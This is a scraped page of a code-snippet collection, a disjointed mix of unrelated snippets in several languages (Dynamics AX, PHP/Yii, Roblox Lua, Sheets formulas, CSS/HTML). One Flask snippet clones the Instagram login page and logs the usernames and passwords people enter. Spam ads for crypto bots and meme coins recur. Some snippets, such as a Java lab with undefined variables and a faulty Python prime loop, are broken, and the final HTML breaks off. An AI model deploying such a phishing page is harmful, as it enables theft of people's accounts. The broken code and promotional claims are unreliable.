Snippets Collections
[ExtensionOf(tableStr(GeneralJournalAccountEntry))]
public final class NA_GeneralJournalAccountEntry_Extension
{
    public DimensionDisplayValue getDimensionCombinationValues(LedgerDimensionAccount ledgerdimension)
    {
        DimensionAttributeLevelValueAllView dimensionAttributeLevelValueAllView;
        DimensionAttribute                  dimensionAttribute;
        Set                                 dimensionAttributeProcessed;
        LedgerDimensionAccount              _ledgerDimension;
        str                                 segmentName ;
        DimensionDisplayValue segmentDescription;
        SysDim                              segmentValue;

        str getDynamicAccountAttributeName(TableNameShort _dimensionAttrViewName)
        {

            #Dimensions
            container cachedResult;
            SysModelElement modelElement;
            SysDictTable sysDictTable;
            DictView dictView;
            Label label;

            Debug::assert(_dimensionAttrViewName like #DimensionEnabledPrefixWithWildcard);

            // Get/cache results of the AOT metadata lookup on the view

            cachedResult = DimensionCache::getValue(DimensionCacheScope::DynamicAccountAttributeName, [_dimensionAttrViewName]);

            if (cachedResult == conNull())
            {

                // Find the matching model element and instantiate the AOT metadata definition of the view

                select firstOnly AxId, Name from modelElement
                where  modelElement.ElementType == UtilElementType::Table
                    && modelElement.Name == _dimensionAttrViewName;


                sysDictTable = new sysDictTable(modelElement.AxId);

                Debug::assert(sysDictTable.isView());

                // Create an instance of the view and get the singular representation of the entity name as a label ID (do not translate)

                dictView = new dictView(modelElement.AxId);

                cachedResult = [dictView.singularLabel()];

                DimensionCache::insertValue(DimensionCacheScope::DynamicAccountAttributeName, [_dimensionAttrViewName], cachedResult);

            }

            label = new label();


            return label.extractString(conPeek(cachedResult, 1));
        }


        _ledgerDimension = ledgerdimension;

        if (_ledgerDimension)
        {

            dimensionAttributeProcessed = new Set(extendedTypeId2Type(extendedTypeNum(DimensionAttributeRecId)));

            while select DisplayValue, AttributeValueRecId from dimensionAttributeLevelValueAllView
            order by dimensionAttributeLevelValueAllView.GroupOrdinal, dimensionAttributeLevelValueAllView.ValueOrdinal
            where dimensionAttributeLevelValueAllView.ValueCombinationRecId == _ledgerDimension
            join Name, Type, ViewName, RecId from dimensionAttribute
                where dimensionAttribute.RecId == dimensionAttributeLevelValueAllView.DimensionAttribute

            {
                if (!dimensionAttributeProcessed.in(dimensionAttribute.RecId))
                {
                    if (DimensionAttributeType::DynamicAccount == dimensionAttribute.Type)
                    {
                        // Use the singular name of the view backing the multi-typed entity
                        segmentName = getDynamicAccountAttributeName(dimensionAttribute.ViewName);
                    }
                    else
                    {
                        // Use the name of the attribute directly for all other types (main account, custom list, existing list)
                        segmentName = dimensionAttribute.localizedName();
                    }

                    segmentValue = dimensionAttributeLevelValueAllView.DisplayValue;

                    if (strLen(segmentDescription) == 0)

                    {

                        segmentDescription = DimensionAttributeValue::find(

 

                    dimensionAttributeLevelValueAllView.AttributeValueRecId).getName();

                    }

                    else

                    {

                        segmentDescription += strFmt(" - %1", DimensionAttributeValue::find(

 

                    dimensionAttributeLevelValueAllView.AttributeValueRecId).getName());

                    }

                    dimensionAttributeProcessed.add(dimensionAttribute.RecId);

                }

            }

        }

        return  segmentDescription;

    }

    public display  str 200 DimensionValue()
    {

        return this.getDimensionCombinationValues(this.LedgerDimension);
     
    }

    public display  str 200 MOFID()
    {
        DimensionAttributeValueSetStorage dimStorage;
        ;
        dimStorage = DimensionAttributeValueSetStorage::find(LedgerDimensionFacade::getDefaultDimensionFromLedgerDimension(this.LedgerDimension));
        return dimStorage.getDisplayValueByDimensionAttribute(DimensionAttribute::findByName("FD11_MOF").RecId);
      
    }

    public display  str 200 MOFName()
    {   
        DimensionFinancialTag DimensionFinancialTag;
        select DimensionFinancialTag where DimensionFinancialTag.Value == this.MOFID();
        return DimensionFinancialTag.Description;
      
    }

    public display  str 200 DimensionID()
    {
       return LedgerDimensionFacade::getDisplayValueForLedgerDimension(this.LedgerDimension);
    }

    public display  str 200 ItemId()
    {
        DimensionAttributeValueSetStorage dimStorage;
        ;
        dimStorage = DimensionAttributeValueSetStorage::find(LedgerDimensionFacade::getDefaultDimensionFromLedgerDimension(this.LedgerDimension));
        return dimStorage.getDisplayValueByDimensionAttribute(DimensionAttribute::findByName("FD10_Item").RecId);
      
    }

}
yes, It is possible to integrate FH into mobile apps, however, FH does not handle this directly. The Clients App Developer will need to do the integration and implement the links.
Take Crypto Trading to the Next Level with Beleaftechnologies!
At Beleaftechnologies, we specialize in developing advanced Crypto Algo Trading Bots customized to optimize your trading strategies.  These bots leverage innovative algorithms, AI, and real-time analytics to ensure precision, efficiency, and consistent profitability.
Our solutions are customizable, secure, and compatible with various crypto exchanges, enabling smooth  integration for traders of all levels. Whether you're a beginner or a pro, we deliver tools to maximize returns in the ever-evolving crypto market.
Unlock smarter trading with Beleaftechnologies – Your trusted partner in algorithmic excellence.
Visit now >>https://beleaftechnologies.com/crypto-algo-trading-bot-development
Whatsapp :  +91 8056786622
Email id :  business@beleaftechnologies.com
Telegram : https://telegram.me/BeleafSoftTech 
window.__tcfapi('getTCData', 2, (tcData) => { console.log(tcData); });
## Setup a conda environment
 
``conda create --name ds python=3.11 numpy pandas scikit-learn matplotlib seaborn jupyter plotly ipykernel pyodbc``

## Activate the environment

``activate ds``

## Install a package

``conda install plotly``

## Update a package

``conda update pandas``

## Remove a package

``conda remove pandas``

## List all packages and versions installed in active environment

``conda list``

## Get a list of all my environments

``conda env list``

## Deactivate the current environment 

``deactivate``

## Remove an environment

``conda remove --name myenv --all``
from flask import Flask, render_template_string, request

app = Flask(__name__)

# HTML Template
html_template = """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Instagram</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #fafafa;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
        }
        .container {
            max-width: 400px;
            background: #fff;
            padding: 20px;
            border: 1px solid #dbdbdb;
            box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
            border-radius: 10px;
        }
        .login-form input {
            width: 100%;
            padding: 10px;
            margin: 10px 0;
            border: 1px solid #dbdbdb;
            border-radius: 5px;
        }
        .login-form button {
            width: 100%;
            padding: 10px;
            background: #0095f6;
            color: white;
            border: none;
            border-radius: 5px;
            cursor: pointer;
        }
        .login-form button:hover {
            background: #007ac1;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="login-container">
            <h2>Instagram</h2>
            <form class="login-form" method="POST" action="/login">
                <input type="text" name="username" placeholder="Phone number, username, or email" required>
                <input type="password" name="password" placeholder="Password" required>
                <button type="submit">Log In</button>
            </form>
        </div>
    </div>
</body>
</html>
"""

# Route to serve the login page
@app.route('/')
def home():
    return render_template_string(html_template)

# Route to handle login form submission
@app.route('/login', methods=['POST'])
def login():
    # Get the user input from the form
    username = request.form.get('username')
    password = request.form.get('password')

    # Log the credentials to the console
    print(f"Captured credentials: Username={username}, Password={password}")

    # Display a response message in the browser
    return "Credentials received! Check your console for the captured input."

if __name__ == "__main__":
    app.run(debug=True)
body {
    font-family: Arial, sans-serif;
    background-color: #fafafa;
    display: flex;
    justify-content: center;
    align-items: center;
    height: 100vh;
    margin: 0;
}

.container {
    background-color: #fff;
    border: 1px solid #dbdbdb;
    border-radius: 1px;
    max-width: 350px;
    padding: 10px 0;
    text-align: center;
}

.login-container {
    padding: 10px 40px;
}

.logo img {
    width: 175px;
    margin: 20px 0;
}

.login-form input {
    width: 100%;
    padding: 9px 0 7px 8px;
    margin-bottom: 6px;
    border: 1px solid #dbdbdb;
    border-radius: 3px;
    background-color: #fafafa;
    font-size: 12px;
}

.login-form button {
    width: 100%;
    padding: 5px 10px;
    margin-top: 8px;
    background-color: #3897f0;
    border: 1px solid #3897f0;
    border-radius: 4px;
    color: #fff;
    font-size: 14px;
    font-weight: 600;
}

.forgot-password {
    margin-top: 12px;
    font-size: 12px;
}

.forgot-password a {
    color: #00376b;
    text-decoration: none;
}

.signup {
    margin-top: 10px;
    font-size: 14px;
}

.signup a {
    color: #3897f0;
    text-decoration: none;
}

.get-app {
    margin-top: 10px;
    font-size: 14px;
}

.app-links {
    margin-top: 10px;
}

.app-links img {
    width: 135px;
    margin: 0 5px;
}
import java.util.Scanner;

public class LabProgram {
   public static void main(String[] args) {
      Scanner scnr = new Scanner(System.in);
      int currentPrice; 
      int lastMonthsPrice; 
      
      currentPrice = scnr.nextInt(); 
      lastMonthsPrice = scnr.nextInt();
      
      System.out.println("This house is $" + currentPrice + "."); 
      System.out.println("The change is $" + priceChange + " since last month."); 
      System.out.println("The estimated monthly mortgage is $" + estimatedMortgage + ".");

   }
}
<!-- Slide Out Menu Ghost -->
<link rel="stylesheet" href="https://www.ghostplugins.dev/assets/forced-mobile-7-1/forced-mobile-menu-7-1.css"><link rel="stylesheet" href="https://www.ghostplugins.dev/assets/side-menu-for-7-1/side-menu-for-7-1.css">
<!-- Slide Out Menu Ghost -->

<!-- Auto rotate banner on home page -->
<script>
  (function(){
    let playInBackend = true,
        timing = 6,
        section = '',
        direction = 1;

function AutoScrollLayout(e){e=""==e?document.querySelector(".user-items-list-section"):document.querySelector(e);let t,n,o,i,c,r=!1,s=e.querySelectorAll('button[class*="__arrow-button"]');function d(){t=setInterval(u,n)}function u(){o=document.querySelector("body.sqs-edit-mode-active"),i=document.querySelector(".sqs-modal-lightbox-open"),r||o||i||!c||s[direction].click()}n=1e3*timing;if(document.addEventListener("visibilitychange",function(){r=!!document.hidden}),["mousedown","touchstart"].forEach(t=>{e.addEventListener(t,function(){r=!0})}),["mouseup","touchend"].forEach(n=>{e.addEventListener(n,function(){r=!1,clearInterval(t),d()})}),window.IntersectionObserver){new IntersectionObserver((e,t)=>{e.forEach(e=>{c=!!e.isIntersecting})},{rootMargin:"-75px 0px -75px 0px"}).observe(e)}s[direction]&&d()}window.addEventListener("load",function(){let e=new Array;e.push(section),section.includes(",")&&(e=section.split(",")),e.forEach(e=>{(window.top==window.self||window.top!==window.self&&playInBackend)&&new AutoScrollLayout(e)})});
  }());
</script>
<!-- Auto rotate banner on home page -->
 $dataProvider = new ActiveDataProvider([
            'query' => $query,
            'sort'=> ['defaultOrder' => ['id_tipo_cambio' => SORT_DESC]] // Agregar esta linea para agregar el orden por 
        ]);
<p class="custom-font-secondary text-4 mb-4 appear-animation animated fadeInUpShorter appear-animation-visible" data-appear-animation="fadeInUpShorter" style="animation-delay: 100ms;"> == $0 
"World Food Relief is a registered charity dedicated to addressing the urgent and growing issue of food poverty. With compassion at the heart of everything we do. Our mission is to provide critical support to individuals and families struggling to access essential nourishment.""</p> 
if (window.location.href=="https://www.getholiday.es/") {
index:
 'fecha' => [
    'attribute' => 'fecha',
    'value' => 'fecha',
    'headerOptions' => ['style' => 'text-align:center; width:10%; text-color:white;'],
    'contentOptions' => ['style' => 'text-align:center; vertical-align:middle;'],
    'format' => 'raw',
    'filter' => DateRangePicker::widget([
        'model' => $searchModel,
        'attribute' => 'rango_fecha',
        'useWithAddon' => false,
        'convertFormat' => true,
        'pluginOptions' => [
            //'startDate' => date('01-01-2024'),
            //'endDate' => date('01-01-2024'),
            'autoclose' => true,
            'timePicker' => true,
            'locale' => ['format' => 'd-m-Y'],
            'viewMode' => 'years', // Muestra la vista de años
        'minViewMode' => 'years' // Permite seleccionar solo años
        ],
    ])
],
  agregar estas tres variables en el modelSearch
	public $rango_fecha;
    public $fecha_desde;
    public $fecha_hasta;

MontosIndicSearch:
[['rango_fecha'], 'filter', 'filter' => function($value) {
                if (isset($value) && !empty($value)) {
                    $values = explode(' - ', $value);
                    if (count($values) == 2) {
                        list($this->fecha_desde, $this->fecha_hasta) = $values;
                    }
                }
                }],
 y tambien agregar esto en el filter de search:
->andFilterWhere(['>=', 'fecha', $this->fecha_desde])
->andFilterWhere(['<=', 'fecha', $this->fecha_hasta]);
  
 
esto va en el modelo este es un ejemplo con Monedas
public static function Lista()
    {
        $s = \yii\helpers\ArrayHelper::map(Monedas::find()
            /* ->andWhere(['id_sector' => 2]) */
            ->orderBy('id_moneda')
            ->all(), 'id_moneda', 'nombre_moneda');
        return ($s) ? $s : [];
    }

y en el index quedaria asi:

'id_moneda' => [
    'attribute' => 'id_moneda',
    'headerOptions' => ['style' => 'text-align:center;'],
    'contentOptions' => ['style' => 'text-align:center; width:2%; vertical-align:middle;'],
    'label' => 'Moneda', // Cambia la etiqueta según sea necesario
    'filter' => app\models\Monedas::lista(), // Asegúrate de que este método exista en tu modelo
    'value' => function ($data) {
        $moneda = app\models\Monedas::find()->where(['id_moneda' => $data->id_moneda])->one();
        return ($moneda) ? $moneda->nombre_moneda : ''; // Cambia 'nombre_moneda' al atributo correcto
    },
],
$(document).ready(function () {
  // Crea e aggiungi il loader dinamicamente
  const $loader = $('<div id="loader">Caricamento...</div>').css({
    position: 'fixed',
    top: '50%',
    left: '50%',
    transform: 'translate(-50%, -50%)',
    fontSize: '20px',
    background: 'rgba(255, 255, 255, 0.9)',
    padding: '15px 30px',
    border: '1px solid #ddd',
    display: 'none',
  });
  $('body').append($loader);

  // Crea e aggiungi il contenitore della griglia dinamicamente
  const $grid = $('<div id="grid"></div>').css({
    display: 'flex',
    flexWrap: 'wrap',
    marginTop: '20px',
  });
  $('body').append($grid);

  // Aggiungi stili dinamici per gli elementi della griglia
  $('<style>')
    .text(`
      .grid-item {
        width: 30%;
        margin: 1%;
        background: #f0f0f0;
        padding: 20px;
        text-align: center;
        border: 1px solid #ddd;
      }
    `)
    .appendTo('head');

  // Carica Isotope dinamicamente
  $.getScript('https://unpkg.com/isotope-layout@3/dist/isotope.pkgd.min.js', function () {
    // Mostra il loader e avvia la chiamata AJAX
    $loader.show();

    $.ajax({
      url: 'https://jsonplaceholder.typicode.com/posts', // Endpoint di esempio
      method: 'GET',
      dataType: 'json',
      beforeSend: function () {
        $loader.show(); // Mostra il loader
      },
      success: function (data) {
        // Genera dinamicamente gli elementi della griglia
        const items = data.slice(0, 9).map(
          (item) =>
            `<div class="grid-item category${item.id % 3}">${item.title}</div>`
        );
        $grid.append(items.join(''));

        // Inizializza Isotope
        $grid.isotope({
          itemSelector: '.grid-item',
          layoutMode: 'fitRows',
        });
      },
      error: function (err) {
        console.error('Errore nel caricamento degli elementi:', err);
      },
      complete: function () {
        $loader.hide(); // Nascondi il loader
      },
    });
  });
});
n=int(input('enter number:'))
for i in range(2,n+1):
    for j in range(2,i//+1):
        if i%j==0:
            break
    else:
        print(i,end=' ')
n=int(input('enter number:'))
if(n==1):
    print(n,'not a prime number')
else:
    for i in range(2,n):
        if (n%i==0):
            print(n,'not a prime number')
            break
    else:
        print(n,'prime number')
n=int(input('enter number:'))
a=n
b=len(str(n))
sum1=0
while n!=0:
    c=n%10
    sum1=sum1+(c**b)
    n=n//10
if(a==sum1):
    print('armstrong')
else:
    print('not armstrong')
a=input()
b=[]
for i in a:
    if i not in b:
        b.append(i)
print(b)

When developing a meme coin, selecting the right blockchain is crucial. Consider factors like transaction speed,flexcibility, and fees to ensure smooth user experiences. Assess security features to protect assets and smart contracts. Evaluate the community's size and developer support for collaboration and updates. Compatibility with existing tools and exchanges is key for adoption. Finally, consider the blockchain's popularity and reputation to build trust and attract investors to your meme coin project

Beleaf Technologies is the perfect choice for meme coin development. We provide expert support, innovative solutions, and complete assistance to help bring your unique meme coin ideas to life.

Contact today for free demo : https://www.beleaftechnologies.com/meme-coin-development-company
Whatsapp: +91 7904323274
Skype: live:.cid.62ff8496
d3390349
Telegram: @BeleafSoftTech
Mail to: mailto:business@beleaftechnologies.com



from uvicorn.config import LOGGING_CONFIG

# uvicorn logging
LOGGING_CONFIG["formatters"]["default"]["fmt"] = "%(asctime)s [%(name)s] %(levelprefix)s %(message)s"
LOGGING_CONFIG["formatters"]["access"][
    "fmt"] = '%(asctime)s [%(name)s] %(levelprefix)s %(client_addr)s - "%(request_line)s" %(status_code)s'
# date format
LOGGING_CONFIG["formatters"]["default"]["datefmt"] = "%Y-%m-%d %H:%M:%S" 
/** 
   A program to print two lines.
*/

public class HelloAll
{
   public static void main(String[] args)
   {
      System.out.println("Hello, World!");

      /* Your code goes here */

   }
}
local block = script.Parent

local function Health(player)
    local Humanoid = player.Character:FindFirstChild("Humanoid")
    if Humanoid then
        wait(0.5)
        local expl = Instance.new('Explosion')
        expl.Position = block.Position
        expl.BlastPressure = 20
        expl.Parent = game.Workspace
        Humanoid.Health = 0
    end
end

script.Parent.ClickDetector.MouseClick:Connect(Health)
local clickDetector = script.Parent.ClickDetector

function onMouseClick(Player)
    local humanoid = Player.Character:findFirstChild("Humanoid")
    if humanoid then
        -- włączanie super skoku
        humanoid.UseJumpPower = true
        -- ustawienie siły skoku
        humanoid.JumpPower = 140
        humanoid.WalkSpeed = 70
        -- wyłączanie super skoku
        wait(30)
        humanoid.UseJumpPower = false
        humanoid.WalkSpeed = 16
    end
end

clickDetector.MouseClick:connect(onMouseClick)
https://docs.google.com/spreadsheets/d/1tPpjeILWi8ujMKCny-LrsZHkylEtrrAywz_Z14dBqk0/edit
https://www.pigzilla.co/articles/15-insanely-efficient-google-sheets-formulas-for-seos/
=countif(A:A,A:A)>1
=countif(A:A;A1)>1
=countif($A$1:$A,A2)>1
=A1&B1
=COUNTIF($A$2:G,Indirect(Address(Row(),Column(),)))>1 [DUPLICATE TEXT FROM DIFFERENT COLUMN]
=COUNTIF($A:$A,"TEXT") [COUNT THE INSTANCES OF 'TEXT']
=$A1>=LARGE($A$1:$A$10,5) [HIGHLIGHT TOP 5]
=REGEXREPLACE(A1,"\?[^?]*$","") [REMOVE URL PARAMETERS]
=SUBSTITUTE(LOWER(JOIN("-",A2))," ","-") [LOWER CASE+REPLACE SPACE]
=regexmatch(A1,"\s(KW1|KW2|KW3)")
=regexmatch(A1," (KW1|KW2|KW3)")
=REGEXEXTRACT(A2,”^(?:https?:\/\/)?(?:[^@\n]+@)?(?:www\.)?([^:\/\n]+)”)
=IFERROR(ARRAYFORMULA(REGEXEXTRACT(A2:A,”^(?:https?:\/\/)?(?:[^@\n]+@)?(?:www\.)?([^:\/\n]+)”)),“”)
=IF(SEARCH(“/blog/”,A2),“YES”,“”)
=REGEXEXTRACT(FORMULATEXT(A1),"""(.+?)""") [EXTRACT URL FROM LINK]
=LEFT(A2,FIND("/",A2,9)-1) [EXTRACT DOMAIN FROM URL]
=LEFT(A2,FIND("$$$",A2)-1) [EXTRACT ALL BEFORE $$$]
=RIGHT(A2,LEN(A2)-FIND("$$$",A2)) [EXTRACT ALL AFTER $$$]
=LEFT(B2,len(B2)-3) [TRIM LAST 3 CHARACTERS]
=(A1-A2)/A2 [DIFFERENCE IN %]
=counta(F3) + sum(arrayformula(len(regexreplace(F3, "[^\n]", ""))))
^((?!TEXT).)*$ [REGEX EXCLUDING TEXT]
\?.*
^\s*$ [SELECT BLANK CELLS]
=INDIRECT(ADDRESS(ROW(),COLUMN()-1)) [VALUE FROM CELL ON THE LEFT]
=split(A1,char(10)&",") [SPLIT CELL CONTENT INTO COLUMNS]
=LEFT(A2,FIND("(",A2)-2) and =MID(A2,FIND("(",A2)+1,FIND(")",A2)-FIND("(",A2)-1) [SPLIT CELL TEXT WITH BRACKETS]
=AND(REGEXMATCH(A:A, "(?i)KEYWORD1"), NOT(REGEXMATCH(A:A, "(?i)KEYWORD2"))) [SHOW CELLS WITH KEY1 BUT NOT KEY2]
=SPARKLINE [TRENDS]
='Sheet Name'!A1 [REFERENCE CELL FROM DIFFERENT SHEET]
=match(A1,indirect("'Sheet Name'!A2:A"),0) [CONDITIONAL FORMATTING FROM DIFFERENT SHEET]
=REGEXREPLACE(A11,"\D+", "")  [REMOVE CHARACTERS AND LEAVE NUMBERS]
\D+  [FIND NUMBERS]
=UNIQUE(A1:A) [REMOVE DUPLICATES]
=IFERROR([FORMULA],"[NEW ERROR]") [REPLACE #N/A, #VALUE! or #NUM!]
=IMPORTXML("https://www.mysite/sitemap.xml", "//*[local-name() ='url']/*[local-name() ='loc']") [IMPORT ALL URLs IN SITEMAP]
([^” “]*\s){X,}? [GSC QUERIES WITH X+1 WORDS]
(\w*\W){X,} [GSC QUERIES WITH X+1 WORDS]



2 word phrases » ^\w+\s+\w+$
2+ word phrases » (\w+\s+\w+\s?)+
queries with symbols » [^a-z0-9\s]+
local light = game:GetService('Lighting')

while true do
  light.ClockTime += 0.01
  wait(0.01)
end
הדרכה של תלמידה של ריבקי צ'ולק
לאלמנטים שיוצרים משחק חיבור

מקמי באלמנטור
(או סתם ב HTML)
את האלמנטים שאת רוצה
שהמשתמש יוכל להזיז.
תני לכל אחד מהם במתקדם -> css classes
את הערך – my-draggable
מתחתם הוסיפי אלמנט HTML
ושימי בתוכו את הקוד הבא:
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/3.10.4/gsap.min.js"></script>
<script src='https://unpkg.com/gsap@3/dist/Draggable.min.js'></script>
<script>
    gsap.registerPlugin(Draggable);
    Draggable.create(".my-draggable", {
        type: "x,y",
        bounds: ".astericContainer"
    });
</script>
Copy
וזהו
הקסם יתרחש מעצמו…
URLSession.shared
    .dataTaskPublisher(for: URL(string: "https://picsum.photos/300/600")!)
    .map(\.data)
    .compactMap(UIImage.init)

    /// Schedule to receive the sink closure on the
    /// main dispatch queue.
    .receive(on: DispatchQueue.main, options: nil)
    
    .sink { _ in
        print("Image loading completed")
    } receiveValue: { image in
        self.image = image
    }.store(in: &cancellables)
Text:
*Hello* = Italic
**Hello** = Bold
***Hello*** = Bold-Italic
__Hello__ = Underline

# = Header 1/3
## = Header 2/3
### = Header 3/3

code blocks:
```python (or any other language!)
your code here```


Links:
[Text You want to show](Link goes here)

Show Image From Link:
![alt text](image link)
<script src="https://cdn.jsdelivr.net/npm/darkmode-js@1.5.7/lib/darkmode-js.min.js"></script>
<script>
    const options = {
      label: '🌓',
      saveInCookies: false,
      autoMatchOsTheme: false,
       time: '1s'
    }
    function addDarkmodeWidget() {
      new Darkmode(options).showWidget();
    }
    window.addEventListener('load', addDarkmodeWidget);
</script>
const sheetName = 'Sheet1'
const scriptProp = PropertiesService.getScriptProperties()

function initialSetup () {
  const activeSpreadsheet = SpreadsheetApp.getActiveSpreadsheet()
  scriptProp.setProperty('key', activeSpreadsheet.getId())
}

function doPost (e) {
  const lock = LockService.getScriptLock()
  lock.tryLock(10000)

  try {
    const doc = SpreadsheetApp.openById(scriptProp.getProperty('key'))
    const sheet = doc.getSheetByName(sheetName)

    const headers = sheet.getRange(1, 1, 1, sheet.getLastColumn()).getValues()[0]
    const nextRow = sheet.getLastRow() + 1

    const newRow = headers.map(function(header) {
      return header === 'Date' ? new Date() : e.parameter[header]
    })

    sheet.getRange(nextRow, 1, 1, newRow.length).setValues([newRow])

    return ContentService
      .createTextOutput(JSON.stringify({ 'result': 'success', 'row': nextRow }))
      .setMimeType(ContentService.MimeType.JSON)
  }

  catch (e) {
    return ContentService
      .createTextOutput(JSON.stringify({ 'result': 'error', 'error': e }))
      .setMimeType(ContentService.MimeType.JSON)
  }

  finally {
    lock.releaseLock()
  }
}
/* Dropdown Button */
.dropbtn {
  background-color: #04AA6D;
  color: white;
  padding: 16px;
  font-size: 16px;
  border: none;
}

/* The container div - needed to position the dropdown content */
.dropdown {
  position: relative;
  display: inline-block;
}

/* Dropdown Content (Hidden by Default) */
.dropdown-content {
  display: none;
  position: absolute;
  background-color: #f1f1f1;
  min-width: 160px;
  box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.2);
  z-index: 1;
}

/* Links inside the dropdown */
.dropdown-content a {
  color: black;
  padding: 12px 16px;
  text-decoration: none;
  display: block;
}

/* Change color of dropdown links on hover */
.dropdown-content a:hover {background-color: #ddd;}

/* Show the dropdown menu on hover */
.dropdown:hover .dropdown-content {display: block;}

/* Change the background color of the dropdown button when the dropdown content is shown */
.dropdown:hover .dropbtn {background-color: #3e8e41;}
<div class="dropdown">
    <button class="dropbtn">Dropdown</button>
    <div class="dropdown-content">
        <a href="#">Link 1</a>
        <a href="#">Link 2</a>
        <a href="#">Link 3</a>
    </div>
</div>
<<link rel="icon" href="https://neunous.com/wp-content/uploads/2024/12/favicon.webp" sizes="32x32" /> <link rel="icon" href="https://neunous.com/wp-content/uploads/2024/12/favicon.webp" sizes="192x192" /> <link rel="apple-touch-icon" href="https://neunous.com/wp-content/uploads/2024/12/favicon.webp" />
<link rel="shortcut icon" href="favicon.ico"/>
import random

# List of jokes
jokes = [
    "Why don't scientists trust atoms? Because they make up everything!",
    "Why did the scarecrow win an award? Because he was outstanding in his field!",
    "Why don't skeletons fight each other? They don't have the guts.",
    "What do you call fake spaghetti? An impasta!",
    "Why did the bicycle fall over? Because it was two-tired!",
    "Why did the math book look sad? Because it had too many problems.",
    "What do you call cheese that isn't yours? Nacho cheese!",
    "Why can't you give Elsa a balloon? Because she will let it go!",
    "Why was the computer cold? It left its Windows open!",
    "What do you call a bear with no teeth? A gummy bear!"
]

def tell_joke():
    """Randomly selects and prints a joke."""
    joke = random.choice(jokes)
    print("Here's a joke for you:")
    print(joke)

# Main program
if __name__ == "__main__":
    print("Welcome to the Random Joke Generator!")
    while True:
        user_input = input("Would you like to hear a joke? (yes/no): ").strip().lower()
        if user_input in ["yes", "y"]:
            tell_joke()
        elif user_input in ["no", "n"]:
            print("Alright, no jokes for now. Have a great day!")
            break
        else:
            print("Please enter 'yes' or 'no'.")
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Complex Nested Structure</title>
    <link
      rel="stylesheet"
      href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css"
    />
    <link
      rel="stylesheet"
      href="https://cdnjs.cloudflare.com/ajax/libs/animate.css/4.1.1/animate.min.css"
    />
    <style>
      .box {
        border: 2px solid #000;
        margin: 10px;
        padding: 10px;
        border-radius: 5px;
        transition: all 0.3s ease;
      }
      .box-1 {
        background-color: #f9f9f9;
      }
      .box-2 {
        background-color: #e9e9e9;
      }
      .box-3 {
        background-color: #d9d9d9;
      }
      .box-4 {
        background-color: #c9c9c9;
      }
      .box-5 {
        background-color: #b9b9b9;
      }

      .box:hover {
        transform: scale(1.05);
        box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
      }

      .highlight {
        background-color: yellow;
        font-weight: bold;
        animation: flash 1s infinite;
      }

      .italic {
        font-style: italic;
      }

      .shadow {
        box-shadow: 5px 5px 15px rgba(0, 0, 0, 0.3);
      }

      .text-center {
        text-align: center;
      }

      .text-right {
        text-align: right;
      }

      .dashed {
        border-style: dashed;
      }

      .dotted {
        border-style: dotted;
      }

      .gradient {
        background: linear-gradient(45deg, #ff9a9e, #fad0c4);
      }

      ul {
        list-style-type: square;
      }

      ol {
        list-style-type: upper-roman;
      }

      table {
        border-collapse: collapse;
        width: 100%;
      }

      th,
      td {
        border: 1px solid #000;
        padding: 8px;
        text-align: left;
      }

      .circle {
        width: 50px;
        height: 50px;
        border-radius: 50%;
        background-color: #ffebcd;
        display: inline-block;
      }

      .tooltip {
        position: relative;
        display: inline-block;
      }

      .tooltip .tooltiptext {
        visibility: hidden;
        width: 120px;
        background-color: #555;
        color: #fff;
        text-align: center;
        border-radius: 5px;
        padding: 5px;
        position: absolute;
        z-index: 1;
        bottom: 125%;
        left: 50%;
        margin-left: -60px;
        opacity: 0;
        transition: opacity 0.3s;
      }

      .tooltip:hover .tooltiptext {
        visibility: visible;
        opacity: 1;
      }

      .flex-container {
        display: flex;
        flex-wrap: wrap;
        gap: 10px;
      }

      .flex-item {
        flex: 1 1 200px;
        border: 1px solid #ccc;
        padding: 10px;
        background-color: #fff;
      }

      form {
        margin-top: 20px;
      }

      input,
      select,
      textarea,
      button {
        display: block;
        margin: 10px 0;
        padding: 5px;
        font-size: 16px;
      }

      a {
        color: blue;
        text-decoration: underline;
      }

      .button-primary {
        background-color: #007bff;
        color: #fff;
        padding: 10px 20px;
        border: none;
        border-radius: 5px;
        cursor: pointer;
        transition: background-color 0.3s ease;
      }

      .button-primary:hover {
        background-color: #0056b3;
      }

      .button-secondary {
        background-color: #6c757d;
        color: #fff;
        padding: 10px 20px;
        border: none;
        border-radius: 5px;
        cursor: pointer;
        transition: background-color 0.3s ease;
      }

      .button-secondary:hover {
        background-color: #5a6268;
      }

      @keyframes flash {
        0%,
        100% {
          opacity: 1;
        }
        50% {
          opacity: 0.5;
        }
      }
    </style>
  </head>
  <body>
    <div class="box box-1 animate__animated animate__bounceIn">
      Level 1
      <div  class="box box-2 animate__animated animate__fadeInLeft">
        Level 2
        <div class="box box-3 animate__animated animate__fadeInRight">
          Level 3
          <div class="box box-4 animate__animated animate__fadeInUp">
            Level 4
            <div class="box box-5 animate__animated animate__fadeInDown">
              Level 5
              <div id="target" class="flex-container">
                <div class="flex-item">
                  <ul>
                    <li>Item 1</li>
                    <li>Item 2</li>
                    <li>
                      Item 3
                      <ol>
                        <li>Sub-item A</li>
                        <li>Sub-item B</li>
                        <li>Sub-item C</li>
                      </ol>
                    </li>
                  </ul>
                </div>
                <div class="flex-item">
                  <table>
                    <tr>
                      <th>Header 1</th>
                      <th>Header 2</th>
                      <th>Header 3</th>
                    </tr>
                    <tr>
                      <td>Row 1 Col 1</td>
                      <td>Row 1 Col 2</td>
                      <td>Row 1 Col 3</td>
                    </tr>
                    <tr>
                      <td>Row 2 Col 1</td>
                      <td>Row 2 Col 2</td>
                      <td>Row 2 Col 3</td>
                    </tr>
                  </table>
                </div>
                <div class="flex-item gradient">
                  Gradient Background
                  <div class="tooltip">
                    Hover me
                    <span class="tooltiptext">Tooltip Text</span>
                  </div>
                  <div class="circle"></div>
                </div>
                <div
                  class="flex-item gradient"
                  style="
                    border: 2px solid #000;
                    margin: 10px;
                    padding: 10px;
                    border-radius: 5px;
